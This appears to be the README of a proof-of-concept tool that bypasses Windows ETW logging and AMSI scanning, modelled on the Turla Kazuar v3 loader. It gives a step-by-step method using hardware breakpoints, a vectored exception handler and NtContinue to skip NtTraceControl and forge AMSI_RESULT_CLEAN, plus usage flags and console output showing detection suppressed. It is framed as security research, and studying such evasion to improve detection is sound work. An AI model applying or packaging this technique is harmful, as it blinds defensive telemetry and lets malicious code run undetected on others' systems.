PatchlessEtwAndAmsiBypass

Derived from evasion techniques observed in the Turla Kazuar v3 loader, this Proof of Concept (POC) leverages hardware breakpoints to transparently intercept and redirect the execution of AmsiScanBuffer and NtTraceControl. By targeting these specific functions, the implementation achieves a patchless bypass that tries to circumvent modern EDR detections and memory integrity checks designed to flag unauthorized modifications to critical system modules.

This approach is more stealthy than traditional "noisy" methods, which typically rely on overwriting function instructions with a ret opcode (0xC3). Instead of altering the code on disk or in memory, this method maintains the original byte signatures of the targeted DLLs, making it more difficult to detect for scanners that look for modified code stubs or "hooks" in common security modules.

To achieve non-invasive execution, the bypass utilizes Vectored Exception Handling in conjunction with CPU debug registers. When the processor attempts to execute the targeted security functions, it triggers a controlled hardware exception. This allows the handler to hijack the instruction pointer and skip the scanning logic entirely, effectively blinding security telemetry while appearing untouched to memory forensic tools.

The POC was tested on Windows 10 Version 22H2 (Build 19045.6691)

Details

The technique works as follows:

1. Register a Vectored Exception Handler: The exception handler contains the logic to spoof the results of the security checks once a breakpoint is hit.
2. Locate Target Functions: Resolve the memory addresses of NtTraceControl (ETW) and AmsiScanBuffer (AMSI). These functions are central for suppressing defensive telemetry and prevent script-based detections.
3. Capture Thread State: Call GetThreadContext to take a "snapshot" of the current thread’s CPU state which allows to modify the hardware debug registers (Dr0–Dr7) without interrupting the CPU immediately.
4. Set Hardware Breakpoints: Modify the CONTEXT snapshot in memory to load Dr0 and Dr1 with the addresses of the target functions found in Step 2 and activate them by flipping Dr7.
5. Commit the State: Call NtContinue to tell the CPU to immediately adopt the modified CONTEXT snapshot. The hardware breakpoint hooks are now "live" and the CPU is watching for those specific memory addresses.
6. Intercepting and Tailored Spoofing: When the CPU attempts to execute either NtTraceControl or AmsiScanBuffer, a "single step" exception is triggered that pauses the thread and hands control to the exception handler. The handler then identifies which function was hit and applies a specific logic for each:
   • For ETW: The goal is to disable logging. The handler simply identifies the call and prepares to jump over it, effectively "blinding" the event tracing system without returning an error.
   • For AMSI: The goal is to bypass a scan. The handler reaches into the stack to find the AMSI_RESULT pointer and manually overwrites it with AMSI_RESULT_CLEAN. It also sets the RAX register to S_OK to tell the application the scan completed perfectly.
   • The Final Jump: In both cases, the handler finishes by adjusting the Instruction Pointer (RIP) to the return address of the caller. This "jumps" execution past the security logic, making it appear to the system as if the functions ran and verified everything was safe.

Rather than modifying code on disk or patching bytes in memory, this implementation performs a context switch to trick the processor into monitoring its own execution. The most critical aspect of this code is that it ensures the bypass is active immediately. While standard functions like SetThreadContext might not take effect instantly or reliably, this implementation uses the native API function NtContinue. This function takes the modified CONTEXT structure and tells the CPU to immediately discard its current state and adopt the new one. The moment NtContinue is called, the CPU's hardware registers are updated to intercept the target functions the moment they are called. When the CPU hits a target address, it triggers a hardware exception caught by a custom handler, which spoofs a "clean" result and skips the security function entirely.

Usage

The POC has two distinct options, -etw and -amsi, allowing you to selectively trigger the evasion logic for each respective security mechanism.

Running the POC without any option results in no intercepted ETW events and the detection of the EICAR test string:

PatchlessEtwAndAmsiBypass.exe
[*] No bypass selected. Running simulation in standard mode.
[*] Simulate ETW and AMSI activity by calling AmsiScanBuffer
        [+] AMSI result: 0x00008000 (AMSI_RESULT_DETECTED)

By invoking the -etw flag, the NtTraceControl function calls are successfully intercepted and silently skipped, preventing the system from registering security-related event traces:

PatchlessEtwAndAmsiBypass.exe -etw
[*] Register vectored exception handler
        [+] Exception handler address: 0000016B93A70CC0
[*] Get thread context data
        [+] Dr0: 0000000000000000, Dr1: 0000000000000000, Dr7: 0000000000000000
[*] Get address of NtTraceControl
        [+] NtTraceControl address: 00007FFA459F0930
[*] Set hardware breakpoint on NtTraceControl
        [+] Dr0: 00007FFA459F0930
[*] Get address of NtContinue
        [+] NtContinue address: 00007FFA459ED900
[*] Activate hardware breakpoints by setting Dr7
        [+] Dr7: 0000000000000001
[*] Continue execution with NtContinue
[*] Simulate ETW and AMSI activity by calling AmsiScanBuffer
        [+] Intercepted NtTraceControl
                [*] Original RSP: 000000684F58E4D8
                [*] Original RIP: 00007FFA459F0930
                [*] Modified RSP: 000000684F58E4E0
                [*] Modified RIP: 00007FFA45992F86
        [+] Intercepted NtTraceControl
                [*] Original RSP: 000000684F58E518
                [*] Original RIP: 00007FFA459F0930
                [*] Modified RSP: 000000684F58E520
                [*] Modified RIP: 00007FFA45992F86
        [+] Intercepted NtTraceControl
                [*] Original RSP: 000000684F58E518
                [*] Original RIP: 00007FFA459F0930
                [*] Modified RSP: 000000684F58E520
                [*] Modified RIP: 00007FFA45992F86
        ...

Utilizing the -amsi flag shows the AmsiScanBuffer call is intercepted and spoofed, allowing the EICAR test string to reside in memory without triggering a detection:

PatchlessEtwAndAmsiBypass.exe -amsi
[*] Register vectored exception handler
        [+] Exception handler address: 00000211B07784A0
[*] Get thread context data
        [+] Dr0: 0000000000000000, Dr1: 0000000000000000, Dr7: 0000000000000000
[*] Get address of AmsiScanBuffer
        [+] AmsiScanBuffer address: 00007FFA36633880
[*] Set hardware breakpoint on AmsiScanBuffer
        [+] Dr1: 00007FFA36633880
[*] Get address of NtContinue
        [+] NtContinue address: 00007FFA459ED900
[*] Activate hardware breakpoints by setting Dr7
        [+] Dr7: 0000000000000004
[*] Continue execution with NtContinue
[*] Simulate ETW and AMSI activity by calling AmsiScanBuffer
        [+] Intercepted AmsiScanBuffer
                [*] Original AMSI_RESULT Value: 0xb0770001
                [*] Original RSP: 0000007CD18FF8D8
                [*] Original RIP: 00007FFA36633880
                [*] Original RAX: 0000007CD18FF910
                [*] Adjusted AMSI_RESULT Value: 0x0
                [*] Modified RSP: 0000007CD18FF8E0
                [*] Modified RIP: 00007FF7716516A2
                [*] Modified RAX: 0000000000000000
        [+] AMSI result: 0x00000000 (AMSI_RESULT_CLEAN)

Background

This POC is based on an in-depth analysis of the Turla Kazuar v3 loader, the details of which can be found here: https://r136a1.dev/2026/01/14/command-and-evade-turlas-kazuar-v3-loader/

Disclaimer

This project is for educational and authorized security research purposes only. The techniques demonstrated are intended to help defenders understand advanced evasion tactics and improve detection telemetry. Use against unauthorized systems is strictly prohibited.